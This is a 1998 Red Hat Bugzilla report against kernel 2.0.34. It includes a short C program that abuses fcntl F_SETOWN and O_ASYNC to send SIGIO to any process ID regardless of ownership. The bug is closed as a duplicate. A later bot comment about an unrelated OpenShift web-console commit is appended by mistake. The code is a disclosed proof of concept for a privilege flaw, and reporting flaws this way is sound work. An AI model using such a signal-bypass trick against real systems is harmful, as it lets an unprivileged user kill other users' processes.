Bug 91

Summary: This is some kind of superkill
Product: [Retired] Red Hat Linux Reporter: michelcas
Component: kernelAssignee: David Lawrence <dkl>
Status: CLOSED DUPLICATE QA Contact:
Severity: high Docs Contact:
Priority: high    
Version: 5.1CC: michelcas
Target Milestone: ---   
Target Release: ---   
Hardware: i386   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 1998-11-16 16:04:13 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:

Description michelcas 1998-11-16 16:01:01 UTC
I am using:
  Red Hat Linux release 5.1 (Manhattan)
  Kernel 2.0.34 on an i586

This little code:
  #include <fcntl.h>
  #include <errno.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>

  int main(int argc, char *argv[]) {
    int s, p;
    if (argc != 2) {
      fputs("Please specify a pid to send signal to.\n",
stderr);
      exit(0);
    } else {
      p = atoi(argv[1]);
    }
    fcntl(0,F_SETOWN,p);
    s = fcntl(0,F_GETFL,0);
    fcntl(0,F_SETFL,s|O_ASYNC);
    printf("Sending SIGIO - press enter.\n");
    getchar();
    fcntl(0,F_SETFL,s&~O_ASYNC);
    printf("SIGIO send attempted.\n");
    return 0;
  }

Can kill just about anything without looking at ownership.

I just guessed the problem is in the kernel ???


I am nost sure if this have been fixed, or even looked at
but a little pointer to a solution would be greatly
appreciated.

Thx,

michelcas@pyramidsystems.com

Comment 1 Bill Nottingham 1998-11-16 16:04:59 UTC
*** This bug has been marked as a duplicate of 78 ***

Comment 2 openshift-github-bot 2016-06-27 20:21:22 UTC
Commit pushed to master at https://github.com/openshift/origin-web-console

https://github.com/openshift/origin-web-console/commit/2c6c5750a7960ecd38b709d097218b65f9bacb44
Fixes Issue #91 - Build-configs URL Tab Navigation

-Can now use ?tab=summary, ?tab=configuration, and ?tab=environment to navigate around the build-configs page.